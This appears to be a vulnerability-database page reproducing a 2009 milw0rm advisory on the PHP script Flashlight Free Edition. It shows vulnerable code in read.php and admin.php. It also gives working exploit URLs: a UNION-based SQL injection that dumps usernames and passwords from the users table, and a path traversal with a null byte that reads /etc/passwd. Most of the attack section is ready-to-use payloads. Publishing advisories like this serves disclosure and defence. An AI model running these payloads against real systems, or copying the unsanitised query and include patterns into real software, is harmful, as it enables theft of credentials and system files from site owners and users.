Flashlight Free Edition - (LFI/SQL) Multiple Remote Vul

vendor:

Flashlight Free Edition

by:

k4m1k451

7,5

CVSS

HIGH

Remote SQLi, Local File Inclusion

89, 22

CWE

Product Name: Flashlight Free Edition

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Flashlight Free Edition – (LFI/SQL) Multiple Remote Vul

The vulnerability is due to insufficient sanitization of user-supplied input in the 'id' parameter of the 'read.php' script and the 'action' parameter of the 'admin.php' script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and to include arbitrary local files by using directory traversal sequences.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Flashlight Free Edition - (LFI/SQL) Multiple Remote Vul
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

RATM: "All hell can't stop us now!"

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
--[Author : k4m1k451

--[E-mail : k4m1k451@gmail.com
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
--[Script   : Flashlight

--[Download : http://scripts.ringsworld.com/communication-tools/flashlight-free-edition.zip
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

--[Remote SQLi

--[File     : read.php


--[Vul      :
$id = $_GET['id'];
$sql = mysql_query("SELECT * FROM inbox WHERE msg_id='$id' AND msg_to='$user_id'");

--[Exploit  :
http://localhost/flash/read.php?id=1'+UNION+ALL+SELECT+1,2,3,4,5,concat(username,0x20,password),version(),user(),9+from+users--+
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

--[Local File Inclusion

--[File     : admin.php
--[Vul      :

$inc = $_GET['action'];
include ("admin/".$inc.".php");

--[Exploit  :
http://localhost/flash/admin.php?action=../../../../../../../../etc/passwd%00

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Gr3etz: c0d3_z3r0, 0ut0fBound, str0ke

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

# milw0rm.com [2009-06-02]